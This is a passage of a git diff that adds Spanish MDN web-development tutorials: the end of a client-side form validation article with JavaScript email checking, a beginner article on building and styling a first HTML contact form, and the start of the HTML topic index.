+const email = document.getElementById('mail');
+
+// Lo siguiente es un truco para llegar al siguiente nodo de elementos hermanos en el DOM
+// Esto es peligroso porque puedes construir fácilmente un bucle infinito.
+// En los navegadores modernos es mejor usar element.nextElementSibling
+let error = email;
+while ((error = error.nextSibling).nodeType != 1);
+
+// según la especificación HTML5
+const emailRegExp = /^[a-zA-Z0-9.!#$%&amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/;
+
+// Muchos navegadores antiguos no son compatibles con el método addEventListener.
+// Aquí hay una manera simple de manejar esto; está lejos de ser la única.
+function addEvent(element, event, callback) {
+  let previousEventCallBack = element["on"+event];
+  element["on"+event] = function (e) {
+    const output = callback(e);
+
+    // Una devolución de llamada que devuelve «false» detiene la cadena de devolución de llamada
+    // e interrumpe la ejecución de la devolución de llamada del evento.
+    if (output === false) return false;
+
+    if (typeof previousEventCallBack === 'function') {
+      output = previousEventCallBack(e);
+      if(output === false) return false;
+    }
+  }
+};
+
+// Ahora podemos reconstruir nuestra restricción de validación
+// Debido a que no confiamos en la pseudoclase de CSS, tenemos que
+// establecer explícitamente la clase valid/invalid en nuestro campo de correo electrónico
+addEvent(window, "load", function () {
+  // Aquí probamos si el campo está vacío (recuerda, el campo no es obligatorio)
+  // Si no es así, verificamos si su contenido es una dirección de correo electrónico con el formato correcto.
+  const test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  email.className = test ? "valid" : "invalid";
+});
+
+// Esto define lo que sucede cuando el usuario escribe en el campo
+addEvent(email, "input", function () {
+  const test = email.value.length === 0 || emailRegExp.test(email.value);
+  if (test) {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  } else {
+    email.className = "invalid";
+  }
+});
+
+// Esto define lo que sucede cuando el usuario intenta enviar los datos.
+addEvent(form, "submit", function () {
+  const test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  if (!test) {
+    email.className = "invalid";
+    error.innerHTML = "I expect an e-mail, darling!";
+    error.className = "error active";
+
+    // Algunos navegadores antiguos no son compatibles con el método event.preventDefault ()
+    return false;
+  } else {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  }
+});</pre>
+
+<p>El resultado es el siguiente:</p>
+
+<p>{{EmbedLiveSample("Validar_formularios_sin_una_API_incorporada", "100%", 130)}}</p>
+
+<p>Como puedes ver, no es tan difícil construir un sistema de validación por tu cuenta. La parte difícil es hacer que sea lo suficientemente genérico para que se pueda usar en diferentes plataformas y en cualquier forma. Hay muchas bibliotecas de archivos disponibles para realizar la validación de formularios, como por ejemplo <a href="http://rickharrison.github.com/validate.js/" rel="external">Validate.js</a></p>
+
+<p>.</p>
+
+<h2 id="Prueba_tus_habilidades!">Prueba tus habilidades!</h2>
+
+<p>Has llegado al final de este artículo pero ¿puedes recordar la información más importante?Puedes encontrar pruebas adicionales para comprovar que has comprendido la información antes de que continue — visita <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/Test_your_skills:_Form_validation">Prueba tus habilidades: Validación de formularios</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La validación de formularios en el lado del cliente a veces requiere JavaScript si deseas personalizar el estilo y los mensajes de error, pero <em>siempre</em> requiere que pienses cuidadosamente en el usuario. Recuerda que siempre debes ayudar a tus usuarios a corregir los datos que proporcionan. Para ese fin, asegúrate de:</p>
+
+<ul>
+ <li>Mostrar mensajes de error explícitos.</li>
+ <li>Ser permisivo con el formato de entrada.</li>
+ <li>Señalar exactamente dónde se produce el error, especialmente en formularios extensos.</li>
+</ul>
+
+<p>Una vez que hayas verificado que el formulario se ha completado correctamente, puedes proceder a enviarlo. Vamos a exponer el <a href="/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data">envío de los datos del formulario</a> en el próximo artículo.</p>
+
+<p>{{PreviousMenuNext("Learn/Forms/UI_pseudo-classes", "Learn/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Forms/Your_first_form">Tu primer formulario</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/How_to_structure_a_web_form">Cómo estructurar un formulario web</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Basic_native_form_controls">Los controles de formulario básicos originales</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/HTML5_input_types">Los tipos de entrada en HTML5</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Other_form_controls">Otros controles de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Styling_web_forms">Aplicar estilo a formularios web</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Advanced_form_styling">Aplicación de estilo a formularios avanzada</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/UI_pseudo-classes">Pseudoclases UI</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Form_validation">Validación de formularios en el lado del cliente</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data">Enviar los datos de un formulario</a></li>
+</ul>
+
+<h3 id="Temas_avanzados">Temas avanzados</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Forms/How_to_build_custom_form_controls">Cómo construir controles de formulario personalizados</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Sending_forms_through_JavaScript">Enviar formularios por JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_widgets">Tabla de compatibilidad de propiedades para controles de formulario</a></li>
+</ul>
diff --git a/files/es/learn/html/forms/your_first_html_form/index.html b/files/es/learn/html/forms/your_first_html_form/index.html
new file mode 100644
index 0000000000..df9d73bc60
--- /dev/null
+++ b/files/es/learn/html/forms/your_first_html_form/index.html
@@ -0,0 +1,305 @@
+---
+title: Mi primer formulario HTML
+slug: Learn/HTML/Forms/Your_first_HTML_form
+tags:
+  - Ejemplo
+  - Guía
+  - HTML
+  - Principiante
+  - Web
+  - formulários
+translation_of: Learn/Forms/Your_first_form
+---
+<div>{{LearnSidebar}}{{NextMenu("Learn/Forms/How_to_structure_a_web_form", "Learn/Forms")}}</div>
+
+<p class="summary">El primer artículo de nuestra serie te proporciona una primera experiencia de creación de un formulario web, que incluye diseñar un formulario sencillo con controles de formulario adecuados y otros elementos HTML, añadir un poco de estilo muy simple con CSS y describir cómo se envían los datos a un servidor. Ampliaremos cada uno de estos subtemas más adelante.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática y de <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">lenguaje HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarse con los formularios web, para qué se usan, cómo diseñarlos y qué elementos HTML básicos vas a necesitar para casos sencillos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_son_los_formularios_web">¿Qué son los formularios web?</h2>
+
+<p>Los <strong>formularios web</strong> son uno de los principales puntos de interacción entre un usuario y un sitio web o aplicación. Los formularios permiten a los usuarios la introducción de datos, que generalmente se envían a un servidor web para su procesamiento y almacenamiento (consulta <a href="/es/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Enviar los datos de un formulario</a> más adelante en el módulo), o se usan en el lado del cliente para provocar de alguna manera una actualización inmediata de la interfaz (por ejemplo, se añade otro elemento a una lista, o se muestra u oculta una función de interfaz de usuario).</p>
+
+<p>El HTML de un <strong>formulario web</strong> está compuesto por uno o más <strong>controles de formulario</strong> (a veces llamados <strong>widgets</strong>), además de algunos elementos adicionales que ayudan a estructurar el formulario general; a menudo se los conoce como <strong>formularios HTML</strong>. Los controles pueden ser campos de texto de una o varias líneas, cajas desplegables, botones, casillas de verificación o botones de opción, y se crean principalmente con el elemento {{htmlelement("input")}}, aunque hay algunos otros elementos que también hay que conocer.</p>
+
+<p>Los controles de formulario también se pueden programar para forzar la introducción de formatos o valores específicos (<strong>validación de formulario</strong>), y se combinan con etiquetas de texto que describen su propósito para los usuarios con y sin discapacidad visual.</p>
+
+<h2 id="Diseñar_tu_formulario">Diseñar tu formulario</h2>
+
+<p>Antes de comenzar a escribir código, siempre es mejor dar un paso atrás y tomarte el tiempo necesario para pensar en tu formulario. Diseñar una maqueta rápida te ayudará a definir el conjunto de datos adecuado que deseas pedirle al usuario que introduzca. Desde el punto de vista de la experiencia del usuario (UX), es importante recordar que cuanto más grande es tu formulario, más te arriesgas a frustrar a las personas y perder usuarios. Tiene que ser simple y conciso: solicita solo los datos que necesitas.</p>
+
+<p>Diseñar formularios es un paso importante cuando creas un sitio web o una aplicación. Va más allá del alcance de este artículo exponer la experiencia de usuario de los formularios, pero si deseas profundizar en ese tema, puedes leer los artículos siguientes:</p>
+
+<ul>
+ <li>Smashing Magazine tiene algunos <a href="https://www.smashingmagazine.com/2018/08/ux-html5-mobile-form-part-1/" rel="external" title="http://uxdesign.smashingmagazine.com/tag/forms/">artículos muy buenos sobre formularios UX</a>, incluido el artículo —antiguo pero relevante— <a href="https://www.smashingmagazine.com/2011/11/extensive-guide-web-form-usability/" rel="external" title="http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/">An Extensive Guide To Web Form Usability</a> [Amplia guía de usabilidad para formularios web].</li>
+ <li>UXMatters también es un recurso que da buenos consejos, desde <a href="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php" rel="external" title="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php"> buenas prácticas básicas</a> hasta cuestiones complejas como los <a href="http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php" title="http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php"> formularios de varias páginas</a>.</li>
+</ul>
+
+<p>En este artículo, vamos a crear un formulario de contacto sencillo. Hagamos un esbozo.</p>
+
+<p><img alt="Esbozo aproximado del formulario que vamos a construir" src="/files/4579/form-sketch-low.jpg" style="border-style: solid; border-width: 1px; display: block; height: 352px; margin: 0px auto; width: 400px;"></p>
+
+<p>Nuestro formulario va a tener tres campos de texto y un botón. Le pedimos al usuario su nombre, su correo electrónico y el mensaje que desea enviar. Al pulsar el botón sus datos se enviarán a un servidor web.</p>
+
+<h2 id="Aprendizaje_activo_La_implementación_de_nuestro_formulario_HTML">Aprendizaje activo: La implementación de nuestro formulario HTML</h2>
+
+<p>De acuerdo, intentemos crear el HTML para nuestro formulario. Vamos a utilizar los elementos HTML siguientes: {{HTMLelement("form")}}, {{HTMLelement("label")}}, {{HTMLelement("input")}}, {{HTMLelement("textarea")}} y {{HTMLelement("button")}}.</p>
+
+<p>Antes de continuar, haz una copia local de nuestra <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">plantilla HTML simple</a>: introduce aquí tu formulario HTML.</p>
+
+<h3 id="El_elemento_HTMLelementform">El elemento {{HTMLelement("form")}}</h3>
+
+<p>Todos los formularios comienzan con un elemento {{HTMLelement("form")}}, como este:</p>
+
+<pre class="brush:html; notranslate">&lt;form action="/my-handling-form-page" method="post"&gt;
+
+&lt;/form&gt;</pre>
+
+<p>Este elemento define formalmente un formulario. Es un elemento contenedor, como un elemento {{HTMLelement("section")}} o {{HTMLelement("footer")}}, pero específico para contener formularios; también admite algunos atributos específicos para la configuración de la forma en que se comporta el formulario. Todos sus atributos son opcionales, pero es una práctica estándar establecer siempre al menos los atributos <a href="/en-US/docs/Web/HTML/Attributes/action"><code>action</code></a> y <a href="/en-US/docs/Web/HTML/Attributes/method"><code>method</code></a>:</p>
+
+<ul>
+ <li>El atributo <code>action</code> define la ubicación (URL) donde se envían los datos que el formulario ha recopilado cuando se validan.</li>
+ <li>El atributo <code>method</code> define con qué método HTTP se envían los datos (generalmente <code>get</code> o <code>post</code>).</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Veremos cómo funcionan esos atributos en nuestro artículo <a href="/es/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data" title="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data">Enviar los datos de un formulario</a> que encontrarás más adelante.</p>
+</div>
+
+<p>Por ahora, añade el elemento {{htmlelement("form")}} anterior a tu elemento HTML {{htmlelement("body")}}.</p>
+
+<h3 id="Los_elementos_HTMLelementlabel_HTMLelementinput_y_HTMLelementtextarea">Los elementos {{HTMLelement("label")}}, {{HTMLelement("input")}} y {{HTMLelement("textarea")}}</h3>
+
+<p>Nuestro formulario de contacto no es complejo: la parte para la entrada de datos contiene tres campos de texto, cada uno con su elemento {{HTMLelement("label")}} correspondiente:</p>
+
+<ul>
+ <li>El campo de entrada para el nombre es un {{HTMLelement("input/text", "campo de texto de una sola línea")}}.</li>
+ <li>El campo de entrada para el correo electrónico es una {{HTMLelement ("input/email", "entrada de datos de tipo correo electrónico")}}: un campo de texto de una sola línea que acepta solo direcciones de correo electrónico.</li>
+ <li>El campo de entrada para el mensaje es {{HTMLelement("textarea")}}; un campo de texto multilínea.</li>
+</ul>
+
+<p>En términos de código HTML, para implementar estos controles de formulario necesitamos algo como lo siguiente:</p>
+
+<pre class="brush:html; notranslate" dir="rtl">&lt;form action="/my-handling-form-page" method="post"&gt;
+ &lt;ul&gt;
+  &lt;li&gt;
+    &lt;label for="name"&gt;Nombre:&lt;/label&gt;
+    &lt;input type="text" id="name" name="user_name"&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;label for="mail"&gt;Correo electrónico:&lt;/label&gt;
+    &lt;input type="email" id="mail" name="user_mail"&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;label for="msg"&gt;Mensaje:&lt;/label&gt;
+    &lt;textarea id="msg" name="user_message"&gt;&lt;/textarea&gt;
+  &lt;/li&gt;
+ &lt;/ul&gt;
+&lt;/form&gt;</pre>
+
+<p>Actualiza el código de tu formulario para que se vea como el anterior.</p>
+
+<p>Los elementos {{HTMLelement("li")}} están ahí para estructurar nuestro código convenientemente y facilitar la aplicación de estilo (ver más adelante en el artículo). Por motivos de usabilidad y accesibilidad incluimos una etiqueta explícita para cada control de formulario. Ten en cuenta el uso del atributo <a href="/en-US/docs/Web/HTML/Attributes/for"> <code>for</code> </a> en todos los elementos {{HTMLelement("label")}}, que toma como valor el <a href="/en-US/docs/Web/HTML/Attributes/id"><code>id</code></a> del control de formulario con el que está asociado; así es como asocias un formulario con su etiqueta.</p>
+
+<p>Hacer esto presenta muchas ventajas porque la etiqueta está asociada al control del formulario y permite que los usuarios con ratón, panel táctil y dispositivos táctiles hagan clic en la etiqueta para activar el control correspondiente, y también proporciona accesibilidad con un nombre que los lectores de pantalla leen a sus usuarios. Encontrarás más detalles sobre las etiquetas de los formularios en <a href="/es/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">Cómo estructurar un formulario web</a>.</p>
+
+<p>En el elemento {{HTMLelement("input")}}, el atributo más importante es <code>type</code>. Este atributo es muy importante porque define la forma en que el elemento {{HTMLelement("input")}} aparece y se comporta. Encontrarás más información sobre esto en el artículo sobre <a href="/es/docs/Learn/HTML/Forms/The_native_form_widgets">Controles de formularios nativos básicos</a> más adelante.</p>
+
+<ul>
+ <li>En nuestro ejemplo sencillo, usamos el valor {{HTMLelement("input/text")}} para la primera entrada, el valor predeterminado para este atributo. Representa un campo de texto básico de una sola línea que acepta cualquier tipo de entrada de texto.</li>
+ <li>Para la segunda entrada, usamos el valor {{HTMLelement("input/email")}}, que define un campo de texto de una sola línea que solo acepta una dirección de correo electrónico. Esto convierte un campo de texto básico en una especie de campo «inteligente» que efectúa algunas comprobaciones de validación de los datos que el usuario escribe. También hace que aparezca un diseño de teclado más apropiado para introducir direcciones de correo electrónico (por ejemplo, con un símbolo @ por defecto) en dispositivos con teclados dinámicos, como teléfonos inteligentes. Encontrarás más información sobre la validación de formularios en el artículo de <a href="/es/docs/Learn/HTML/Forms/Validacion_formulario_datos">Validación de formularios por parte del cliente</a> más adelante.</li>
+</ul>
+
+<p>Por último, pero no por ello menos importante, ten en cuenta la sintaxis de <code>&lt;input&gt;</code> en contraposición con la de <code>&lt;textarea&gt;&lt;/textarea&gt;</code>. Esta es una de las rarezas del HTML. La etiqueta <code>&lt;input&gt;</code> es un elemento vacío, lo que significa que no necesita una etiqueta de cierre. El elemento {{HTMLElement("textarea")}} no es un elemento vacío, lo que significa que debe cerrarse con la etiqueta de cierre adecuada. Esto tiene un impacto en una característica específica de los formularios: el modo en que defines el valor predeterminado. Para definir el valor predeterminado de un elemento {{HTMLElement("input")}}, debes usar el atributo <a href="/en-US/docs/Web/HTML/Attributes/value"><code>value</code></a> de esta manera:</p>
+
+<pre class="brush:html; notranslate">&lt;input type="text" value="por defecto este elemento se llena con este texto"&gt;</pre>
+
+<p>Por otro lado, si deseas definir un valor predeterminado para un elemento {{HTMLElement("textarea")}}, lo colocas entre las etiquetas de apertura y cierre del elemento {{HTMLElement("textarea")}}, así:</p>
+
+<pre class="brush:html; notranslate">&lt;textarea&gt;
+Por defecto, este elemento contiene este texto
+&lt;/textarea&gt;</pre>
+
+<h3 id="El_elemento_HTMLelementbutton">El elemento {{HTMLelement("button")}}</h3>
+
+<p>El marcado de nuestro formulario está casi completo; solo necesitamos añadir un botón para permitir que el usuario envíe sus datos una vez que haya completado el formulario. Esto se hace con el elemento {{HTMLelement("button")}}; añade lo siguiente justo encima de la etiqueta de cierre <code>&lt;/form&gt;</code>:</p>
+
+<pre class="brush:html; notranslate">&lt;li class="button"&gt;
+  &lt;button type="submit"&gt;Envíe su mensaje&lt;/button&gt;
+&lt;/li&gt;</pre>
+
+<p>El elemento {{htmlelement("button")}} también acepta un atributo de <code>type</code>, que a su vez acepta uno de estos tres valores: <code>submit</code>, <code>reset</code> o <code>button</code>.</p>
+
+<ul>
+ <li>Un clic en un botón <code>submit</code> (el valor predeterminado) envía los datos del formulario a la página web definida por el atributo <code>action</code> del elemento {{HTMLelement("form")}}.</li>
+ <li>Un clic en un botón <code>reset</code> restablece de inmediato todos los controles de formulario a su valor predeterminado. Desde el punto de vista de UX, esto se considera una mala práctica, por lo que debes evitar usar este tipo de botones a menos que realmente tengas una buena razón para incluirlos.</li>
+ <li>Un clic en un botón <code>button</code> no hace... ¡nada! Eso suena tonto, pero es muy útil para crear botones personalizados: puedes definir su función con JavaScript.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: También puedes usar el elemento {{HTMLElement("input")}} con el atributo <code>type</code> correspondiente para generar un botón, por ejemplo <code>&lt;input type="submit"&gt;</code>. La ventaja principal del elemento {{HTMLelement("button")}} es que el elemento {{HTMLelement("input")}} solo permite texto sin formato en su etiqueta, mientras que el elemento {{HTMLelement("button")}} permite contenido HTML completo, lo que permite generar botones creativos más complejos.</p>
+</div>
+
+<h2 id="Aplicar_estilo_básico_a_un_formulario">Aplicar estilo básico a un formulario</h2>
+
+<p>Ahora que has terminado de escribir el código HTML de tu formulario, guárdalo y observa lo que ocurre en un navegador. Por ahora, se verá bastante feo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si crees que no has escrito bien el código HTML, compáralo con nuestro ejemplo final: véase <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form.html">first-form.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html">ver en vivo</a>).</p>
+</div>
+
+<p>Resulta notablemente difícil aplicar estilo a los formularios. Está más allá del alcance de este artículo enseñarte cómo aplicar estilo a los formularios en detalle, por lo que por el momento solo vamos a exponer cómo añadir un poco de CSS para que se vea un poco bien.</p>
+
+<p>En primer lugar, añade un elemento {{htmlelement("style")}} a tu página, dentro de la cabecera del HTML. Debe quedar así:</p>
+
+<pre class="brush: html notranslate">&lt;style&gt;
+
+&lt;/style&gt;</pre>
+
+<p>Dentro de las etiquetas <code>style</code>, añade el código CSS siguiente:</p>
+
+<pre class="brush:css; notranslate">form {
+  /* Centrar el formulario en la página */
+  margin: 0 auto;
+  width: 400px;
+  /* Esquema del formulario */
+  padding: 1em;
+  border: 1px solid #CCC;
+  border-radius: 1em;
+}
+
+ul {
+  list-style: none;
+  padding: 0;
+  margin: 0;
+}
+
+form li + li {
+  margin-top: 1em;
+}
+
+label {
+  /* Tamaño y alineación uniforme */
+  display: inline-block;
+  width: 90px;
+  text-align: right;
+}
+
+input,
+textarea {
+  /* Para asegurarse de que todos los campos de texto tienen la misma configuración de letra
+     Por defecto, las áreas de texto tienen un tipo de letra monoespaciada */
+  font: 1em sans-serif;
+
+  /* Tamaño uniforme del campo de texto */
+  width: 300px;
+  box-sizing: border-box;
+
+  /* Hacer coincidir los bordes del campo del formulario */
+  border: 1px solid #999;
+}
+
+input:focus,
+textarea:focus {
+  /* Destacado adicional para elementos que tienen el cursor */
+  border-color: #000;
+}
+
+textarea {
+  /* Alinear los campos de texto multilínea con sus etiquetas */
+  vertical-align: top;
+
+  /* Proporcionar espacio para escribir texto */
+  height: 5em;
+}
+
+.button {
+  /* Alinear los botones con los campos de texto */
+  padding-left: 90px; /* mismo tamaño que los elementos de la etiqueta */
+}
+
+button {
+  /* Este margen adicional representa aproximadamente el mismo espacio que el espacio
+     entre las etiquetas y sus campos de texto */
+  margin-left: .5em;
+}</pre>
+
+<p>Guarda y vuelve a cargar, y observa que tu formulario presenta un aspecto mucho menos feo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar nuestra versión en GitHub en <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form-styled.html">first-form-styled.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form-styled.html">ver en vivo</a>).</p>
+</div>
+
+<h2 id="Enviar_los_datos_del_formulario_a_un_servidor_web">Enviar los datos del formulario a un servidor web</h2>
+
+<p>La última parte, y quizás la más complicada, es manejar los datos del formulario en el lado del servidor. El elemento {{HTMLelement("form")}} define dónde y cómo enviar los datos gracias a los atributos <a href="/en-US/docs/Web/HTML/Attributes/action"><code>action</code></a> y <a href="/en-US/docs/Web/HTML/Attributes/method"><code>method</code></a>.</p>
+
+<p>Proporcionamos un nombre (<a href="/en-US/docs/Web/HTML/Attributes/name"><code>name</code></a>) a cada control de formulario. Los nombres son importantes tanto en el lado del cliente como del servidor; le dicen al navegador qué nombre debe dar a cada dato y, en el lado del servidor, dejan que el servidor maneje cada dato por su nombre. Los datos del formulario se envían al servidor como pares de nombre/valor.</p>
+
+<p>Para poner nombre a los diversos datos que se introducen en un formulario, debes usar el atributo <code>name</code> en cada control de formulario que recopila un dato específico. Veamos de nuevo algunos de nuestros códigos de formulario:</p>
+
+<pre class="brush:html; notranslate">&lt;form action="/my-handling-form-page" method="post"&gt;
+ &lt;ul&gt;
+  &lt;li&gt;
+    &lt;label for="name"&gt;Nombre:&lt;/label&gt;
+    &lt;input type="text" id="name" name="user_name" /&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;label for="mail"&gt;Correo electrónico:&lt;/label&gt;
+    &lt;input type="email" id="mail" name="user_email" /&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;label for="msg"&gt;Mensaje:&lt;/label&gt;
+    &lt;textarea id="msg" name="user_message"&gt;&lt;/textarea&gt;
+  &lt;/li&gt;
+
+  ...
+</pre>
+
+<p>En nuestro ejemplo, el formulario envía tres datos denominados «<code>user_name</code>», «<code>user_email</code>» y «<code>user_message</code>». Esos datos se envían a la URL «<code>/my-handling-form-page</code>» utilizando el método <a href="/en-US/docs/Web/HTTP/Methods/POST"><code>post</code> de HTTP</a>.</p>
+
+<p>En el lado del servidor, la secuencia de comandos de la URL «<code>/my-handling-form-page</code>» recibe los datos como una lista de tres elementos clave/valor contenidos en la solicitud HTTP. La forma en que este script maneja esos datos depende de ti. Cada lenguaje de servidor (PHP, Python, Ruby, Java, C#, etc.) tiene su propio mecanismo de manipulación de datos de formulario. No profundizaremos sobre el tema en esta guía, pero si deseas obtener más información, proporcionamos algunos ejemplos en nuestro artículo <a href="/es/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data" title="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data"><span>Enviar los datos de un formulario</span></a> que encontrarás más adelante.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>¡Enhorabuena!, has creado tu primer formulario web. Debería verse así:</p>
+
+<p>{{ EmbedLiveSample('A_simple_form', '100%', '240', '', 'Learn/Forms/Your_first_form/Example') }}</p>
+
+<p>Pero esto es solo el comienzo: ahora ha llegado el momento de profundizar en el tema. Los formularios tienen mucho más potencial de lo que hemos visto aquí y los artículos siguientes de este módulo te ayudarán a dominarlo.</p>
+
+<p>{{NextMenu("Learn/Forms/How_to_structure_a_web_form", "Learn/Forms")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Forms/Your_first_form">Tu primer formulario</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/How_to_structure_a_web_form">Cómo estructurar un formulario web</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Basic_native_form_controls">Los controles de formulario básicos originales</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/HTML5_input_types">Los tipos de entrada en HTML5</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Other_form_controls">Otros controles de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Styling_web_forms">Aplicación de estilo a formularios web</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Advanced_form_styling">Aplicación de estilo a formularios avanzada</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/UI_pseudo-classes">Pseudoclases UI</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Form_validation">Validación del formulario del lado del cliente</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data">Enviar los datos de un formulario</a></li>
+</ul>
+
+<h3 id="Temas_avanzados">Temas avanzados</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Forms/How_to_build_custom_form_controls">Cómo construir controles de formulario personalizados</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Sending_forms_through_JavaScript">Enviar formularios a través de JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_widgets">Tabla de compatibilidad para las propiedades de los controles de formulario</a></li>
+</ul>
diff --git a/files/es/learn/html/index.html b/files/es/learn/html/index.html
new file mode 100644
index 0000000000..6262b7f957
--- /dev/null
+++ b/files/es/learn/html/index.html
@@ -0,0 +1,66 @@
+---
+title: HTML
+slug: Learn/HTML
+tags:
+  - Aprender
+  - Guía
+  - HTML
+  - Novato
+  - Principiante
+  - Tema
+  - introducción
+translation_of: Learn/HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Para crear sitios web, debes conocer el {{Glossary('HTML')}} — la tecnología fundamental que se utiliza para definir la estructura de una página web. HTML se utiliza para especificar si tu contenido web se debe reconocer como un párrafo, lista, encabezado, enlace, imagen, reproductor multimedia, formulario o uno de los muchos otros elementos disponibles o incluso un nuevo elemento que tú definas.</p>
+
+<div class="in-page-callout webdev">
+<h3 id="¿Quieres_transformarte_en_un_desarrollador_de_la_interfaz_de_usuario_web">¿Quieres transformarte en un desarrollador de la interfaz de usuario web?</h3>
+
+<p>Hemos elaborado un curso que incluye toda la información esencial que necesitas para trabajar hacia tu objetivo.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Empieza aquí</a></p>
+</div>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<ul>
+</ul>
+
+<p>Antes de comenzar con este tema, debes tener al menos una familiaridad básica con el uso de computadoras y el uso pasivo de la web (es decir, simplemente mirarlo, consumir el contenido). Debes tener un entorno de trabajo básico configurado como se detalla en {{web.link("/es/docs/Learn/Getting_started_with_the_web/Installing_basic_software", "Instalación de software básico")}}, y comprender cómo crear y administrar archivos, como se detalla en {{web.link("/es/docs/Learn/Getting_started_with_the_web/Dealing_with_files", "Manejo de archivos")}}; ambos son parte del módulo para principiantes en la {{web.link("/es/docs/Learn/Getting_started_with_the_web", "Introducción a la Web")}}.</p>
+
+<p>Se recomienda que trabajes con {{web.link("/es/docs/Learn/Getting_started_with_the_web", "Comenzando con la web")}} antes de intentar este tema, sin embargo, no es absolutamente necesario; gran parte de lo que se cubre en el artículo {{web.link("/es/docs/Learn/Getting_started_with_the_web/HTML_basics", "conceptos básicos de HTML")}} también se cubre en el {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML", "Módulo de introducción a HTML")}}, aunque con mucho más detalle.</p>
+
+<p>Después de comprender HTML, puedes pasar a aprender temas más avanzados como:</p>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/CSS", "CSS")}}, y cómo usarlo para estilizar HTML (por ejemplo, modificar el tamaño del texto y los tipos de letra utilizados, agregar bordes y sombras, modelar tu página con varias columnas, agregar animaciones y otros efectos visuales).</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript", "JavaScript")}}, y cómo usarlo para agregar funcionalidad dinámica a las páginas web (por ejemplo, encontrar tu ubicación y trazarla en un mapa, hacer que los elementos de la <em><strong>I</strong>nterfaz de <strong>U</strong>suario</em> (<strong>IU</strong> en adelante) aparezcan/desaparezcan cuando se alterna un botón, guardar los datos del usuario localmente en su computadora y mucho más).</li>
+</ul>
+
+<h2 id="Módulos">Módulos</h2>
+
+<p>Este tema contiene los siguientes módulos, en un orden sugerido para trabajar con ellos. Definitivamente deberías comenzar con el primero.</p>
+
+<dl>
